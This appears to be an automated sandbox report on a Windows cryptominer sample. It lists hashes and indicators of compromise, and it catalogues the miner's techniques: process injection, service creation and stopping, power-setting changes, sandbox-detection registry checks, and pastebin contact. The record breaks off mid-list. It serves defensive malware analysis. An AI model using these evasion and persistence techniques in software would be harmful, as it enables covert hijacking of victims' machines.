Analysis
- max time kernel
150s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
25/06/2026, 12:37
Static task
static1
Behavioral task
behavioral1
Sample
_d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
_d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe
Resource
win11ltsc2024-20260618-en
General
- Target _d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe
- Size 3.3MB
- Sample260625-ptr2rsb19p
- SHA256 d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19
- MD5 9a7a03f400f70df4492a7e5617c0ff15
- SHA1 137a69e52a5aa8b62fe239de42d0aee214d9f6d6
- SHA512 02a30d8613f35e08e59aa496c497295665c7be45911124dc9f44fdbc62081b16765edd9ae004fdff72455c79407d977670277e7a4e511e3a1842e7d71f960f26
- SSDEEP 98304:hzlmm8C/ov5C37dy8JyX2idQzHNLyyKHEU:aSov437HJyz+HNuyAE
- TLSH T119F53382697034FCD969C331A7AE2F7471A976100B0168EB50DB70A0257FBDBBA36F15
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
description pid Process procid_target PID 632 created 620 632 powershell.EXE 5 PID 5112 created 620 5112 powershell.EXE 5 - XMRig Miner payload 23 IoCs
resource yara_rule behavioral1/memory/5052-95-0x0000000140000000-0x00000001408CB000-memory.dmp xmrig behavioral1/memory/5052-94-0x0000000140000000-0x00000001408CB000-memory.dmp xmrig behavioral1/memory/5052-93-0x0000000140000000-0x00000001408CB000-memory.dmp xmrig behavioral1/memory/5052-91-0x0000000140000000-0x00000001408CB000-memory.dmp xmrig behavioral1/memory/5052-90-0x0000000140000000-0x00000001408CB000-memory.dmp xmrig behavioral1/memory/5052-89-0x0000000140000000-0x00000001408CB000-memory.dmp xmrig behavioral1/memory/5052-92-0x0000000140000000-0x00000001408CB000-memory.dmp xmrig behavioral1/memory/5052-87-0x0000000140000000-0x00000001408CB000-memory.dmp xmrig behavioral1/memory/5052-86-0x0000000140000000-0x00000001408CB000-memory.dmp xmrig behavioral1/memory/5052-85-0x0000000140000000-0x00000001408CB000-memory.dmp xmrig behavioral1/memory/5052-83-0x0000000140000000-0x00000001408CB000-memory.dmp xmrig behavioral1/memory/5052-82-0x0000000140000000-0x00000001408CB000-memory.dmp xmrig behavioral1/memory/5052-80-0x0000000140000000-0x00000001408CB000-memory.dmp xmrig behavioral1/memory/5052-79-0x0000000140000000-0x00000001408CB000-memory.dmp xmrig behavioral1/memory/5052-78-0x0000000140000000-0x00000001408CB000-memory.dmp xmrig behavioral1/memory/5052-76-0x0000000140000000-0x00000001408CB000-memory.dmp xmrig behavioral1/memory/5052-75-0x0000000140000000-0x00000001408CB000-memory.dmp xmrig behavioral1/memory/5052-73-0x0000000140000000-0x00000001408CB000-memory.dmp xmrig behavioral1/memory/5052-72-0x0000000140000000-0x00000001408CB000-memory.dmp xmrig behavioral1/memory/5052-84-0x0000000140000000-0x00000001408CB000-memory.dmp xmrig behavioral1/memory/5052-81-0x0000000140000000-0x00000001408CB000-memory.dmp xmrig behavioral1/memory/5052-77-0x0000000140000000-0x00000001408CB000-memory.dmp xmrig behavioral1/memory/5052-74-0x0000000140000000-0x00000001408CB000-memory.dmp xmrig -
pid Process 632 powershell.EXE 5112 powershell.EXE 4112 powershell.exe 4888 powershell.exe - Downloads MZ/PE file 4 IoCs
flow pid Process 40 5052 dialer.exe 47 5052 dialer.exe 54 5052 dialer.exe 56 5052 dialer.exe - Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe - Creates new service(s) 2 TTPs
- Cryptocurrency Miner
Makes network request to known mining pool URL.
- Executes dropped EXE 1 IoCs
pid Process 4724 szlvtzbcbfby.exe - Stops running service(s) 4 TTPs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 16 pastebin.com 17 pastebin.com - Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 5112 powercfg.exe 4060 powercfg.exe 560 powercfg.exe 1120 powercfg.exe 4772 powercfg.exe 1572 powercfg.exe 1852 powercfg.exe 3648 powercfg.exe - Drops file in System32 directory 25 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\scanner[2].exe dialer.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\scanner[3].exe dialer.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\scanner[4].exe dialer.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_68DC46933CF3DE41CC968E0784D43DC3 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_68DC46933CF3DE41CC968E0784D43DC3 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\MRT.exe _d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\MRT.exe szlvtzbcbfby.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\scanner[1].exe dialer.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF svchost.exe - Suspicious use of SetThreadContext 6 IoCs
description pid Process procid_target PID 2452 set thread context of 3080 2452 _d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe 116 PID 4724 set thread context of 4548 4724 szlvtzbcbfby.exe 156 PID 4724 set thread context of 596 4724 szlvtzbcbfby.exe 159 PID 4724 set thread context of 5052 4724 szlvtzbcbfby.exe 160 PID 632 set thread context of 4060 632 powershell.EXE 163 PID 5112 set thread context of 8368 5112 powershell.EXE 164 -
resource yara_rule behavioral1/memory/5052-70-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-95-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-94-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-93-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-91-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-90-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-89-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-92-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-87-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-86-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-85-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-83-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-82-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-80-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-79-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-78-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-76-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-75-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-73-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-72-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-68-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-84-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-81-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-77-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-74-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-71-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-69-0x0000000140000000-0x00000001408CB000-memory.dmp upx behavioral1/memory/5052-67-0x0000000140000000-0x00000001408CB000-memory.dmp upx - Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 628 sc.exe 3260 sc.exe 3364 sc.exe 4024 sc.exe 384 sc.exe 3284 sc.exe 1236 sc.exe 2600 sc.exe 3844 sc.exe 2408 sc.exe 3184 sc.exe 4856 sc.exe 4384 sc.exe 3408 sc.exe - Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName wmiprvse.exe - Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 mousocoreworker.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe - Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property mousocoreworker.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={B8AD69C8-1FD8-4364-B0CC-80641D91DC37}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Wed, 24 Jun 2026 20:44:54 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" dialer.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" dialer.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" dialer.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates svchost.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2452 _d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe 4888 powershell.exe 4888 powershell.exe 2452 _d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe 2452 _d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe 2452 _d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe 2452 _d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe 2452 _d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe 2452 _d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe 2452 _d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe 2452 _d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe 2452 _d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe 2452 _d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe 2452 _d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe 2452 _d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe 2452 _d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe 2452 _d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe 2452 _d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe 2452 _d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe 4724 szlvtzbcbfby.exe 4112 powershell.exe 4112 powershell.exe 632 powershell.EXE 632 powershell.EXE 4724 szlvtzbcbfby.exe 4724 szlvtzbcbfby.exe 4724 szlvtzbcbfby.exe 4724 szlvtzbcbfby.exe 4724 szlvtzbcbfby.exe 4724 szlvtzbcbfby.exe 4724 szlvtzbcbfby.exe 4724 szlvtzbcbfby.exe 4724 szlvtzbcbfby.exe 4724 szlvtzbcbfby.exe 4724 szlvtzbcbfby.exe 4724 szlvtzbcbfby.exe 4724 szlvtzbcbfby.exe 5052 dialer.exe 5052 dialer.exe 5112 powershell.EXE 5112 powershell.EXE 5112 powershell.EXE 632 powershell.EXE 632 powershell.EXE 4060 dllhost.exe 4060 dllhost.exe 4060 dllhost.exe 4060 dllhost.exe 4060 dllhost.exe 4060 dllhost.exe 5112 powershell.EXE 4060 dllhost.exe 4060 dllhost.exe 4060 dllhost.exe 4060 dllhost.exe 5112 powershell.EXE 5112 powershell.EXE 8368 dllhost.exe 8368 dllhost.exe 4060 dllhost.exe 4060 dllhost.exe 8368 dllhost.exe 8368 dllhost.exe 8368 dllhost.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3312 Explorer.EXE - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4888 powershell.exe Token: SeDebugPrivilege 2452 _d727c634a81811e5a557dfcffb92e033862b636785410a81cf717046a91e0d19.exe Token: SeShutdownPrivilege 5112 powercfg.exe Token: SeCreatePagefilePrivilege 5112 powercfg.exe Token: SeShutdownPrivilege 560 powercfg.exe Token: SeCreatePagefilePrivilege 560 powercfg.exe Token: SeShutdownPrivilege 4060 powercfg.exe Token: SeCreatePagefilePrivilege 4060 powercfg.exe Token: SeShutdownPrivilege 1120 powercfg.exe Token: SeCreatePagefilePrivilege 1120 powercfg.exe Token: SeDebugPrivilege 4112 powershell.exe Token: SeDebugPrivilege 632 powershell.EXE Token: SeDebugPrivilege 4724 szlvtzbcbfby.exe Token: SeShutdownPrivilege 1572 powercfg.exe Token: SeCreatePagefilePrivilege 1572 powercfg.exe Token: SeShutdownPrivilege 4772 powercfg.exe Token: SeCreatePagefilePrivilege 4772 powercfg.exe Token: SeShutdownPrivilege 1852 powercfg.exe Token: SeCreatePagefilePrivilege 1852 powercfg.exe Token: SeShutdownPrivilege 3648 powercfg.exe Token: SeCreatePagefilePrivilege 3648 powercfg.exe Token: SeLockMemoryPrivilege 5052 dialer.exe Token: SeDebugPrivilege 5112 powershell.EXE Token: SeDebugPrivilege 632 powershell.EXE Token: SeDebugPrivilege 4060 dllhost.exe Token: SeShutdownPrivilege 400 dwm.exe Token: SeCreatePagefilePrivilege 400 dwm.exe Token: SeDebugPrivilege 5112 powershell.EXE Token: SeDebugPrivilege 8368 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 2156 svchost.exe Token: SeIncreaseQuotaPrivilege 2156 svchost.exe Token: SeSecurityPrivilege 2156 svchost.exe Token: SeTakeOwnershipPrivilege 2156 svchost.exe Token: SeLoadDriverPrivilege 2156 svchost.exe Token: SeSystemtimePrivilege 2156 svchost.exe Token: SeBackupPrivilege 2156 svchost.exe Token: SeRestorePrivilege 2156 svchost.exe Token: SeShutdownPrivilege 2156 svchost.exe Token: SeSystemEnvironmentPrivilege 2156 svchost.exe Token: SeUndockPrivilege 2156 svchost.exe Token: SeManageVolumePrivilege 2156 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2156 svchost.exe Token: SeIncreaseQuotaPrivilege 2156 svchost.exe Token: SeSecurityPrivilege 2156 svchost.exe Token: SeTakeOwnershipPrivilege 2156 svchost.exe Token: SeLoadDriverPrivilege 2156 svchost.exe Token: SeSystemtimePrivilege 2156 svchost.exe Token: SeBackupPrivilege 2156 svchost.exe Token: SeRestorePrivilege 2156 svchost.exe Token: SeShutdownPrivilege 2156 svchost.exe Token: SeSystemEnvironmentPrivilege 2156 